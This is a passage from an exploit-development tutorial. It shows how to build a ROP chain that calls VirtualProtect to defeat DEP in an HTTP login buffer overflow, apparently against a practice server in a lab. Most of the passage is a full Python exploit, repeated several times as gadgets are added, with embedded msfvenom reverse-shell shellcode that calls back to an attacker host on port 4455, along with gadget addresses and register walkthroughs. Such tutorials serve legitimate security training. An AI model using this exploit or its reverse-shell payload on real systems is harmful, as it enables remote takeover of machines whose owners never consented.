buf += b"\xe5\xd4\x05\x88\x06\x24\xd6\xed\x8f\xc1\xe7\x2d\xeb"
buf += b"\x82\x58\x9e\x7f\xc6\x54\x55\x2d\xf2\xef\x1b\xfa\xf5"
buf += b"\x58\x91\xdc\x38\x58\x8a\x1d\x5b\xda\xd1\x71\xbb\xe3"
buf += b"\x19\x84\xba\x24\x47\x65\xee\xfd\x03\xd8\x1e\x89\x5e"
buf += b"\xe1\x95\xc1\x4f\x61\x4a\x91\x6e\x40\xdd\xa9\x28\x42"
buf += b"\xdc\x7e\x41\xcb\xc6\x63\x6c\x85\x7d\x57\x1a\x14\x57"
buf += b"\xa9\xe3\xbb\x96\x05\x16\xc5\xdf\xa2\xc9\xb0\x29\xd1"
buf += b"\x74\xc3\xee\xab\xa2\x46\xf4\x0c\x20\xf0\xd0\xad\xe5"
buf += b"\x67\x93\xa2\x42\xe3\xfb\xa6\x55\x20\x70\xd2\xde\xc7"
buf += b"\x56\x52\xa4\xe3\x72\x3e\x7e\x8d\x23\x9a\xd1\xb2\x33"
buf += b"\x45\x8d\x16\x38\x68\xda\x2a\x63\xe5\x2f\x07\x9b\xf5"
buf += b"\x27\x10\xe8\xc7\xe8\x8a\x66\x64\x60\x15\x71\x8b\x5b"
buf += b"\xe1\xed\x72\x64\x12\x24\xb1\x30\x42\x5e\x10\x39\x09"
buf += b"\x9e\x9d\xec\x9e\xce\x31\x5f\x5f\xbe\xf1\x0f\x37\xd4"
buf += b"\xfd\x70\x27\xd7\xd7\x18\xc2\x22\xb0\xe6\xbb\x2d\x84"
buf += b"\x8f\xb9\x2d\x15\x37\x37\xcb\x7f\xa7\x11\x44\xe8\x5e"
buf += b"\x38\x1e\x89\x9f\x96\x5b\x89\x14\x15\x9c\x44\xdd\x50"
buf += b"\x8e\x31\x2d\x2f\xec\x94\x32\x85\x98\x7b\xa0\x42\x58"
buf += b"\xf5\xd9\xdc\x0f\x52\x2f\x15\xc5\x4e\x16\x8f\xfb\x92"
buf += b"\xce\xe8\xbf\x48\x33\xf6\x3e\x1c\x0f\xdc\x50\xd8\x90"
buf += b"\x58\x04\xb4\xc6\x36\xf2\x72\xb1\xf8\xac\x2c\x6e\x53"
buf += b"\x38\xa8\x5c\x64\x3e\xb5\x88\x12\xde\x04\x65\x63\xe1"
buf += b"\xa9\xe1\x63\x9a\xd7\x91\x8c\x71\x5c\xa1\xc6\xdb\xf5"
buf += b"\x2a\x8f\x8e\x47\x37\x30\x65\x8b\x4e\xb3\x8f\x74\xb5"
buf += b"\xab\xfa\x71\xf1\x6b\x17\x08\x6a\x1e\x17\xbf\x8b\x0b"

nop = "\x90" * 4
nop2 = "\x90" * 200
filler = "C" * (10000 - len(crash)-len(parameters)-len(rop))
buffer = crash + rop + parameters +  nop + rop2 + nop2 + buf + filler

evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.1.103\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=" + buffer
evil += "&password=" + buffer # "\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((host,port))
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

After running the exploit and stepping through the disassembly from the stack pivot breakpoint, we reach our gadget mov edx, ecx ; ret.

image alt text image alt text

The registers before we execute this gadget:

image alt text image alt text

Now let’s step through and stop at the first increment of EDX and observe the registers:

image alt text image alt text

As we can see, EDX now contains the value of ECX! So now EDX and ECX both contain the location of the return address parameter, the next gadgets will increment EDX by 4 bytes to reach the location of lpAddress. Let’s step through the increments and look at the stack and registers.

image alt text image alt text

image alt text image alt text

Great! Now EDX contains the location of the lpAddress parameter, 0x1477478! Now that we have the return address parameter and lpAddress parameter, let’s work on the other parameters.

Recall that we saved ESP into ECX and EAX, and ECX now contains the memory address of the return address parameter, well now we need to use EAX to point somewhere close to our shellcode in the nops. If we increase EAX around 100 bytes it should land somewhere in our NOP sled which will slide into our shellcode.

I found a gadget in msvcrt.dll:

0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; - msvcrt.dll

Something important about this gadget needs to be understood, and that is that there is an unwanted pop ebp. So add eax, 0x00000100 is exactly what we want, but unfortunately we won’t always have ideal gadgets. The next operation after add eax is pop EBP, this would kill our exploit, pop takes whatever is in on top of the stack and pops it off the stack. In it’s current state the first gadget add eax will be loaded into eip, and the next gadget in our chain will be located at ESP, so the first gadget would take the next gadget and place it in ebp, we definitely don’t want that, it will kill our exploit.

So what we will do is add fake data, so that this fake data which we don’t care about gets popped into EBP instead of our next gadget, and our next gadget will be executed as we want it to be.

Here is the updated PoC:

#!/usr/bin/python
 
import socket,os,sys,struct


host = "192.168.1.103"
port = 80

#eip offset
crash  = "\x41" * 780

crash += struct.pack('<L', 0x6FFBBB86) #ret stack pivot from essfunc.dll

rop = "\x90" * 4 # padding to compensate stack pivot
rop += struct.pack('<L', 0x77bf5b62) # 0x77bf5b62 push esp ; pop ecx ; ret - RPCRT4.dll
rop += struct.pack('<L', 0x73817a82) # 0x73817a82 mov eax, ecx ; ret  - SHELL32.dll
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret - msvcrt.dll

parameters = struct.pack('<L', 0x77de20d8)    # kerne32!VirtualProtect 77de20d8
parameters += struct.pack('<L', 0x4c4c4c4c)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545)    # lpAddress
parameters += struct.pack('<L', 0x03030303)    # size of shellcode
parameters += struct.pack('<L', 0x54545454)    # flNewProtect
parameters += struct.pack('<L', 0x40BCF080)    # pOldProtect (any writeable address)

rop2 = struct.pack('<L', 0x7382a498) # 0x7382a498: inc ecx ; ret  ; - shell32.dll
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)

rop2 += struct.pack('<L', 0x77ef5b70) # 0x77ef5b70: mov edx, ecx ; ret  ;  - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b) # 0x77f1b27b: inc edx ; ret  ;  - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)

rop2 += struct.pack('<L', 0x6ff7e29a) #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret  ;  - msvcrt.dll
rop2 += struct.pack('<L', 0x41414141) # fake data padding to compensate pop ebp

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.196 LPORT=4455 -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f py
buf =  b""
buf += b"\xda\xd8\xd9\x74\x24\xf4\x58\xbb\x68\xe8\x28\x10\x31"
buf += b"\xc9\xb1\x52\x31\x58\x17\x03\x58\x17\x83\xa8\xec\xca"
buf += b"\xe5\xd4\x05\x88\x06\x24\xd6\xed\x8f\xc1\xe7\x2d\xeb"
buf += b"\x82\x58\x9e\x7f\xc6\x54\x55\x2d\xf2\xef\x1b\xfa\xf5"
buf += b"\x58\x91\xdc\x38\x58\x8a\x1d\x5b\xda\xd1\x71\xbb\xe3"
buf += b"\x19\x84\xba\x24\x47\x65\xee\xfd\x03\xd8\x1e\x89\x5e"
buf += b"\xe1\x95\xc1\x4f\x61\x4a\x91\x6e\x40\xdd\xa9\x28\x42"
buf += b"\xdc\x7e\x41\xcb\xc6\x63\x6c\x85\x7d\x57\x1a\x14\x57"
buf += b"\xa9\xe3\xbb\x96\x05\x16\xc5\xdf\xa2\xc9\xb0\x29\xd1"
buf += b"\x74\xc3\xee\xab\xa2\x46\xf4\x0c\x20\xf0\xd0\xad\xe5"
buf += b"\x67\x93\xa2\x42\xe3\xfb\xa6\x55\x20\x70\xd2\xde\xc7"
buf += b"\x56\x52\xa4\xe3\x72\x3e\x7e\x8d\x23\x9a\xd1\xb2\x33"
buf += b"\x45\x8d\x16\x38\x68\xda\x2a\x63\xe5\x2f\x07\x9b\xf5"
buf += b"\x27\x10\xe8\xc7\xe8\x8a\x66\x64\x60\x15\x71\x8b\x5b"
buf += b"\xe1\xed\x72\x64\x12\x24\xb1\x30\x42\x5e\x10\x39\x09"
buf += b"\x9e\x9d\xec\x9e\xce\x31\x5f\x5f\xbe\xf1\x0f\x37\xd4"
buf += b"\xfd\x70\x27\xd7\xd7\x18\xc2\x22\xb0\xe6\xbb\x2d\x84"
buf += b"\x8f\xb9\x2d\x15\x37\x37\xcb\x7f\xa7\x11\x44\xe8\x5e"
buf += b"\x38\x1e\x89\x9f\x96\x5b\x89\x14\x15\x9c\x44\xdd\x50"
buf += b"\x8e\x31\x2d\x2f\xec\x94\x32\x85\x98\x7b\xa0\x42\x58"
buf += b"\xf5\xd9\xdc\x0f\x52\x2f\x15\xc5\x4e\x16\x8f\xfb\x92"
buf += b"\xce\xe8\xbf\x48\x33\xf6\x3e\x1c\x0f\xdc\x50\xd8\x90"
buf += b"\x58\x04\xb4\xc6\x36\xf2\x72\xb1\xf8\xac\x2c\x6e\x53"
buf += b"\x38\xa8\x5c\x64\x3e\xb5\x88\x12\xde\x04\x65\x63\xe1"
buf += b"\xa9\xe1\x63\x9a\xd7\x91\x8c\x71\x5c\xa1\xc6\xdb\xf5"
buf += b"\x2a\x8f\x8e\x47\x37\x30\x65\x8b\x4e\xb3\x8f\x74\xb5"
buf += b"\xab\xfa\x71\xf1\x6b\x17\x08\x6a\x1e\x17\xbf\x8b\x0b"

nop = "\x90" * 4
nop2 = "\x90" * 200
filler = "C" * (10000 - len(crash)-len(parameters)-len(rop))
buffer = crash + rop + parameters +  nop + rop2 + nop2 + buf + filler

evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.1.103\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=" + buffer
evil += "&password=" + buffer # "\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((host,port))
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

You can see I placed the “fake gaget” with 4 A’s (x41 is hex for A) directly under the real gaget, so this will get popped into EBP, let’s run the exploit and observe this.

image alt text image alt text

image alt text image alt text

We can see that the value of EAX now contains the memory address of a location close to our shellcode in the nopsled, awesome! We can also see that EBP contains 0x41414141 so our fake gaget worked successfully!

Now that EAX contains an address near our shellcode, this will lead to execution of our shellcode after the call to VirtualProtect.

Let’s stop a moment and note the state of the registers currently:

ECX contains the location of the return address parameter. EDX contains the location of the lpAddress parameter. EAX contains the location of our shellcode.

Right now, ECX and EDX contain a memory address but those addresses are not pointers, so we need to change what they point to.

We need to find a gadget like this mov dword ptr ds:[ecx], eax. What this will do is take the value ECX is currently pointing to (the return parameter) and make the address of the return parameter point to EAX which contains the location of our shellcode. So we are going to make the return address point to the address of the shellcode.

Then we will do the same with EDX, with a mov dword ptr ds:[EDX], eax, EDX contains the location of the lpAddress parameter placeholder, we need to make this point to the address of our shellcode as well, like ECX.

I found the following gadgets:

0x6ff63bdb: mov dword [ecx], eax ; pop ebp ; ret  ;   - msvcrt.dll
0x73b1e071: mov dword [edx], eax ; ret  ;  - shell32.dll

Updated PoC:

#!/usr/bin/python
 
import socket,os,sys,struct


host = "192.168.1.103"
port = 80

#eip offset
crash  = "\x41" * 780

crash += struct.pack('<L', 0x6FFBBB86) #ret stack pivot from essfunc.dll

rop = "\x90" * 4 # padding to compensate stack pivot
rop += struct.pack('<L', 0x77bf5b62) # 0x77bf5b62 push esp ; pop ecx ; ret - RPCRT4.dll
rop += struct.pack('<L', 0x73817a82) # 0x73817a82 mov eax, ecx ; ret  - SHELL32.dll
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret - msvcrt.dll

parameters = struct.pack('<L', 0x77de20d8)    # kerne32!VirtualProtect 77de20d8
parameters += struct.pack('<L', 0x4c4c4c4c)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545)    # lpAddress
parameters += struct.pack('<L', 0x03030303)    # size of shellcode
parameters += struct.pack('<L', 0x54545454)    # flNewProtect
parameters += struct.pack('<L', 0x40BCF080)    # pOldProtect (any writeable address)

rop2 = struct.pack('<L', 0x7382a498) # 0x7382a498: inc ecx ; ret  ; - shell32.dll
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)

rop2 += struct.pack('<L', 0x77ef5b70) # 0x77ef5b70: mov edx, ecx ; ret  ;  - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b) # 0x77f1b27b: inc edx ; ret  ;  - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)

rop2 += struct.pack('<L', 0x6ff7e29a) #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret  ;  - msvcrt.dll
rop2 += struct.pack('<L', 0x41414141)

rop2 += struct.pack('<L', 0x6ff63bdb) # 0x6ff63bdb: mov dword [ecx], eax ; pop ebp ; ret  ; - msvcrt.dll
rop2 += struct.pack('<L', 0x41414141)
rop2 += struct.pack('<L', 0x73b1e071) # 0x73b1e071: mov dword [edx], eax ; ret  ;  - shell32.dll

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.196 LPORT=4455 -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f py
buf =  b""
buf += b"\xda\xd8\xd9\x74\x24\xf4\x58\xbb\x68\xe8\x28\x10\x31"
buf += b"\xc9\xb1\x52\x31\x58\x17\x03\x58\x17\x83\xa8\xec\xca"
buf += b"\xe5\xd4\x05\x88\x06\x24\xd6\xed\x8f\xc1\xe7\x2d\xeb"
buf += b"\x82\x58\x9e\x7f\xc6\x54\x55\x2d\xf2\xef\x1b\xfa\xf5"
buf += b"\x58\x91\xdc\x38\x58\x8a\x1d\x5b\xda\xd1\x71\xbb\xe3"
buf += b"\x19\x84\xba\x24\x47\x65\xee\xfd\x03\xd8\x1e\x89\x5e"
buf += b"\xe1\x95\xc1\x4f\x61\x4a\x91\x6e\x40\xdd\xa9\x28\x42"
buf += b"\xdc\x7e\x41\xcb\xc6\x63\x6c\x85\x7d\x57\x1a\x14\x57"
buf += b"\xa9\xe3\xbb\x96\x05\x16\xc5\xdf\xa2\xc9\xb0\x29\xd1"
buf += b"\x74\xc3\xee\xab\xa2\x46\xf4\x0c\x20\xf0\xd0\xad\xe5"
buf += b"\x67\x93\xa2\x42\xe3\xfb\xa6\x55\x20\x70\xd2\xde\xc7"
buf += b"\x56\x52\xa4\xe3\x72\x3e\x7e\x8d\x23\x9a\xd1\xb2\x33"
buf += b"\x45\x8d\x16\x38\x68\xda\x2a\x63\xe5\x2f\x07\x9b\xf5"
buf += b"\x27\x10\xe8\xc7\xe8\x8a\x66\x64\x60\x15\x71\x8b\x5b"
buf += b"\xe1\xed\x72\x64\x12\x24\xb1\x30\x42\x5e\x10\x39\x09"
buf += b"\x9e\x9d\xec\x9e\xce\x31\x5f\x5f\xbe\xf1\x0f\x37\xd4"
buf += b"\xfd\x70\x27\xd7\xd7\x18\xc2\x22\xb0\xe6\xbb\x2d\x84"
buf += b"\x8f\xb9\x2d\x15\x37\x37\xcb\x7f\xa7\x11\x44\xe8\x5e"
buf += b"\x38\x1e\x89\x9f\x96\x5b\x89\x14\x15\x9c\x44\xdd\x50"
buf += b"\x8e\x31\x2d\x2f\xec\x94\x32\x85\x98\x7b\xa0\x42\x58"
buf += b"\xf5\xd9\xdc\x0f\x52\x2f\x15\xc5\x4e\x16\x8f\xfb\x92"
buf += b"\xce\xe8\xbf\x48\x33\xf6\x3e\x1c\x0f\xdc\x50\xd8\x90"
buf += b"\x58\x04\xb4\xc6\x36\xf2\x72\xb1\xf8\xac\x2c\x6e\x53"
buf += b"\x38\xa8\x5c\x64\x3e\xb5\x88\x12\xde\x04\x65\x63\xe1"
buf += b"\xa9\xe1\x63\x9a\xd7\x91\x8c\x71\x5c\xa1\xc6\xdb\xf5"
buf += b"\x2a\x8f\x8e\x47\x37\x30\x65\x8b\x4e\xb3\x8f\x74\xb5"
buf += b"\xab\xfa\x71\xf1\x6b\x17\x08\x6a\x1e\x17\xbf\x8b\x0b"

nop = "\x90" * 4
nop2 = "\x90" * 200
filler = "C" * (10000 - len(crash)-len(parameters)-len(rop))
buffer = crash + rop + parameters +  nop + rop2 + nop2 + buf + filler

evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.1.103\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=" + buffer
evil += "&password=" + buffer # "\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((host,port))
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

Again that pop ebp instruction needs to be accounted for, make sure to do as we did before and put a fake gadget.

Let’s run this exploit and look at the disassembly.

image alt text image alt text

When we reach the first mov gadget, let’s observe the the stack in it’s current state before execution:

image alt text image alt text

And then after execution of the gadget:

image alt text image alt text

image alt text image alt text

Great! The memory address containing the return parameter placeholder (0x4c4c4c4c) has been changed and is now pointing at the shellcode area!

![image alt text)(/img/24.png)

Step through the disassembly to execute the next gadget:

![image alt text)(/img/25.png)

![image alt text)(/img/26.png)

As you can see above, the lpAddress parameter is now also pointing to the location of the shellcode.

Next we need to add the size and flNewProtect parameters to our PoC.

For the size parameter, 300 hex bytes should be enough to fit our shellcode in. If not you can just increase the size. For the flNewProtect parameter we will make it contain a value of 0x40 which will give the memory page read, write, and execute permissions.

For these next two parameters we’re going to find gadgets to achieve the following:

Zero out two register with a xor gadget. Put 0x300 and 0x40 into those registers. Make the parameters point to this new value.

Let’s find a gadget that will zero out the EAX register:

0x41acef76: xor eax, eax ; ret ; - ws2_32.dll

After xoring out the register we need to make it’s value equal to 300, we can simply reuse a register we used earlier to do this:

0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; - msvcrt.dll

We can do this 3 times and it will equal 300, also make sure to compensate for that pesty pop ebp!! We will need to insert our fake gadget 3 times!

Updated PoC:

#!/usr/bin/python
 
import socket,os,sys,struct


host = "192.168.1.103"
port = 80

#eip offset
crash  = "\x41" * 780

crash += struct.pack('<L', 0x6FFBBB86) #ret stack pivot from essfunc.dll

rop = "\x90" * 4 # padding to compensate stack pivot
rop += struct.pack('<L', 0x77bf5b62) # 0x77bf5b62 push esp ; pop ecx ; ret - RPCRT4.dll
rop += struct.pack('<L', 0x73817a82) # 0x73817a82 mov eax, ecx ; ret  - SHELL32.dll
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret - msvcrt.dll

parameters = struct.pack('<L', 0x77de20d8)    # kerne32!VirtualProtect 77de20d8
parameters += struct.pack('<L', 0x4c4c4c4c)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545)    # lpAddress
parameters += struct.pack('<L', 0x03030303)    # size of shellcode
parameters += struct.pack('<L', 0x54545454)    # flNewProtect
parameters += struct.pack('<L', 0x40BCF080)    # pOldProtect (any writeable address)

rop2 = struct.pack('<L', 0x7382a498) # 0x7382a498: inc ecx ; ret  ; - shell32.dll
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)

rop2 += struct.pack('<L', 0x77ef5b70) # 0x77ef5b70: mov edx, ecx ; ret  ;  - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b) # 0x77f1b27b: inc edx ; ret  ;  - ntdll.dll
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)
rop2 += struct.pack('<L', 0x77f1b27b)

rop2 += struct.pack('<L', 0x6ff7e29a) #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret  ;  - msvcrt.dll
rop2 += struct.pack('<L', 0x41414141)

rop2 += struct.pack('<L', 0x6ff63bdb) # 0x6ff63bdb: mov dword [ecx], eax ; pop ebp ; ret  ; - msvcrt.dll
rop2 += struct.pack('<L', 0x41414141)
rop2 += struct.pack('<L', 0x73b1e071) # 0x73b1e071: mov dword [edx], eax ; ret  ;  - shell32.dll

rop2 += struct.pack('<L', 0x41acef76) # 0x41acef76: xor eax, eax ; ret  ;  - ws2_32.dll
rop2 += struct.pack('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; - msvcrt.dll
rop2 += struct.pack('<L', 0x41414141) # compensation for pop ebp
rop2 += struct.pack('<L', 0x6ff7e29a)
rop2 += struct.pack('<L', 0x41414141)
rop2 += struct.pack('<L', 0x6ff7e29a)
rop2 += struct.pack('<L', 0x41414141)


#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.196 LPORT=4455 -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f py
buf =  b""
buf += b"\xda\xd8\xd9\x74\x24\xf4\x58\xbb\x68\xe8\x28\x10\x31"
buf += b"\xc9\xb1\x52\x31\x58\x17\x03\x58\x17\x83\xa8\xec\xca"
buf += b"\xe5\xd4\x05\x88\x06\x24\xd6\xed\x8f\xc1\xe7\x2d\xeb"
buf += b"\x82\x58\x9e\x7f\xc6\x54\x55\x2d\xf2\xef\x1b\xfa\xf5"
buf += b"\x58\x91\xdc\x38\x58\x8a\x1d\x5b\xda\xd1\x71\xbb\xe3"
buf += b"\x19\x84\xba\x24\x47\x65\xee\xfd\x03\xd8\x1e\x89\x5e"
buf += b"\xe1\x95\xc1\x4f\x61\x4a\x91\x6e\x40\xdd\xa9\x28\x42"
buf += b"\xdc\x7e\x41\xcb\xc6\x63\x6c\x85\x7d\x57\x1a\x14\x57"
buf += b"\xa9\xe3\xbb\x96\x05\x16\xc5\xdf\xa2\xc9\xb0\x29\xd1"
buf += b"\x74\xc3\xee\xab\xa2\x46\xf4\x0c\x20\xf0\xd0\xad\xe5"
buf += b"\x67\x93\xa2\x42\xe3\xfb\xa6\x55\x20\x70\xd2\xde\xc7"
buf += b"\x56\x52\xa4\xe3\x72\x3e\x7e\x8d\x23\x9a\xd1\xb2\x33"
buf += b"\x45\x8d\x16\x38\x68\xda\x2a\x63\xe5\x2f\x07\x9b\xf5"
buf += b"\x27\x10\xe8\xc7\xe8\x8a\x66\x64\x60\x15\x71\x8b\x5b"
buf += b"\xe1\xed\x72\x64\x12\x24\xb1\x30\x42\x5e\x10\x39\x09"
buf += b"\x9e\x9d\xec\x9e\xce\x31\x5f\x5f\xbe\xf1\x0f\x37\xd4"
buf += b"\xfd\x70\x27\xd7\xd7\x18\xc2\x22\xb0\xe6\xbb\x2d\x84"
buf += b"\x8f\xb9\x2d\x15\x37\x37\xcb\x7f\xa7\x11\x44\xe8\x5e"
buf += b"\x38\x1e\x89\x9f\x96\x5b\x89\x14\x15\x9c\x44\xdd\x50"
buf += b"\x8e\x31\x2d\x2f\xec\x94\x32\x85\x98\x7b\xa0\x42\x58"
buf += b"\xf5\xd9\xdc\x0f\x52\x2f\x15\xc5\x4e\x16\x8f\xfb\x92"
buf += b"\xce\xe8\xbf\x48\x33\xf6\x3e\x1c\x0f\xdc\x50\xd8\x90"
buf += b"\x58\x04\xb4\xc6\x36\xf2\x72\xb1\xf8\xac\x2c\x6e\x53"
buf += b"\x38\xa8\x5c\x64\x3e\xb5\x88\x12\xde\x04\x65\x63\xe1"
buf += b"\xa9\xe1\x63\x9a\xd7\x91\x8c\x71\x5c\xa1\xc6\xdb\xf5"
buf += b"\x2a\x8f\x8e\x47\x37\x30\x65\x8b\x4e\xb3\x8f\x74\xb5"
buf += b"\xab\xfa\x71\xf1\x6b\x17\x08\x6a\x1e\x17\xbf\x8b\x0b"

nop = "\x90" * 4
nop2 = "\x90" * 200
filler = "C" * (10000 - len(crash)-len(parameters)-len(rop))
buffer = crash + rop + parameters +  nop + rop2 + nop2 + buf + filler

evil =  "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.1.103\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=" + buffer
evil += "&password=" + buffer # "\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((host,port))
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

Now we need to increase the EDX register by 4 bytes, so that it is equal to the size placeholder parameter. We will reuse a gadget we used earlier for this:

0x77f1b27b: inc edx ; ret ; - ntdll.dll

We will repeat this gadget 4 times to reach the size parameter.

Next we will repeat what we did earlier, and use mov dword ptr ds:[EDX], eax making a pointer to the value in EAX.

0x73b1e071: mov dword [edx], eax ; ret ; - shell32.dll

The process above is the same for the flNewProtect parameter, we will start with zeroing out the EAX register with the gadget we used earlier.

0x41acef76: xor eax, eax ; ret ; (1 found)

Now we need to get the 0x40 into the EAX register.

I was unable to find a gadget that equaled this value exactly, so unfortunately we will have to repeat the following gadget 32 times:

0x77bd6cdc: add eax, 0x02 ; ret ; - RPCRT4.dll

EDX is currently pointing to the size parameter, so we will increment it again to equal the flNewProtect parameter. Repeating the following gadget 4 times again:

0x77f1b27b: inc edx ; ret ; - ntdll.dll

Finally, we make a pointer from EDX to EAX again, so that equals the value of the location of the flNewProtect parameter.

0x73b1e071 mov dword [edx], eax ; ret ; - shell32.dll``

Updated PoC:

#!/usr/bin/python
 
import socket,os,sys,struct


host = "192.168.1.103"
port = 80

#eip offset
crash  = "\x41" * 780

crash += struct.pack('<L', 0x6FFBBB86) #ret stack pivot from essfunc.dll

rop = "\x90" * 4 # padding to compensate stack pivot
rop += struct.pack('<L', 0x77bf5b62) # 0x77bf5b62 push esp ; pop ecx ; ret - RPCRT4.dll
rop += struct.pack('<L', 0x73817a82) # 0x73817a82 mov eax, ecx ; ret  - SHELL32.dll
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret - msvcrt.dll

parameters = struct.pack('<L', 0x77de20d8)    # kerne32!VirtualProtect 77de20d8
parameters += struct.pack('<L', 0x4c4c4c4c)    # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
parameters += struct.pack('<L', 0x45454545)    # lpAddress
parameters += struct.pack('<L', 0x03030303)    # size of shellcode
parameters += struct.pack('<L', 0x54545454)    # flNewProtect
parameters += struct.pack('<L', 0x40BCF080)    # pOldProtect (any writeable address)

rop2 = struct.pack('<L', 0x7382a498) # 0x7382a498: inc ecx ; ret  ; - shell32.dll
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
rop2 += struct.pack('<L', 0x7382a498)
